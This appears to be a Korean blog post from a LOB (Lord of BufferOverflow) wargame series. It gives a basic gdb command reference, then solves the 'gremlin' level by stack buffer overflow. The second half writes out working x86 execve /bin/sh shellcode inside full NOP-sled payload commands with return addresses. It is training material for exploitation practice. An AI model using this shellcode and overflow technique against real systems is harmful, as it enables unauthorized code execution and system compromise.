기초 gdb 사용법
메모리 조회
x/[범위][출력형식][범위의 단위] [메모리 주소나 함수명]
범위 : 기본 4byte
출력형식
t : 2진수
o : 8진수
d : 부호없는 10진수
u : 부호없는 10진수
x : 16진수 (주로 이걸 사용할 듯)
c : 최초 1바이트 값을 문자형으로 출력
f : 부동소수점
a : 가장 가까운 심볼의 오프셋을 출력
s : 문자열로 출력
i : 어셈블리 형식으로 출력
범위의 단위
b : 1 byte 단위
h : 2 byte 단위
w : 4 byte 단위
g : 8 byte 단위
Ex)
x/200x $esp : esp 주소로 부터 16진수로 200바이트 만큼 보기
브레이크 포인트
break func : func 함수의 시작부분에 브레이크 포인트 설정
break 10 10번째 줄에 브레이크 포인트 설정
break asdf.c:func asdf.c 파일에 func 함수의 시작부분에 브레이크 포인트 설정
break asdf.c:10 asdf.c 파일의 10번째 줄에 브레이크 포인트 설정
break *0x12341234 0x12341234 에 브레이크 포인트 설정
소스 보기
list 소스 보기 (main 기준)
list func 소스보기 (func 기준)
진행 명령어
run 프로그램 실행
kill 프로그램 수행 종료
step 한 줄 실행 (함수 호출 시 함수 안으로 들어감)
next 한 줄 실행 (함수 호출 시 함수 수행하고 다음 줄로 감)
256 + 4 = 총 260 만큼 스택을 가진다
쉘코드가 25 짜리므로,
NOP * 35 + (SHELLCODE 25) + NOP * 200 + RET
bffffbac
\xac\xfb\xff\xbf
payload
./gremlin `python -c 'print "\x90"*55 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*180 + "\xac\xfb\xff\xbf"'`
세그먼트 오류.
--> 쉘을 bash 로 진행하여, \xff 을 \x00 으로 인식함.
chsh
/bin/bash2 로 쉘을 변경
bffffb7c
\x7c\xfb\xff\xbf
payload
./gremlin `python -c 'print "\x90"*55 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*180 + "\x7c\xfb\xff\xbf"'`
성공
hello bof world
'Wargame > LOB(끝)' 카테고리의 다른 글
orc -> wolfman (0) | 2015.01.28 |
---|---|
goblin -> orc (0) | 2015.01.28 |
cobolt -> goblin (0) | 2015.01.28 |
gremlin -> cobolt (0) | 2015.01.23 |
Stack Frame Pointer Overflow (1) | 2015.01.22 |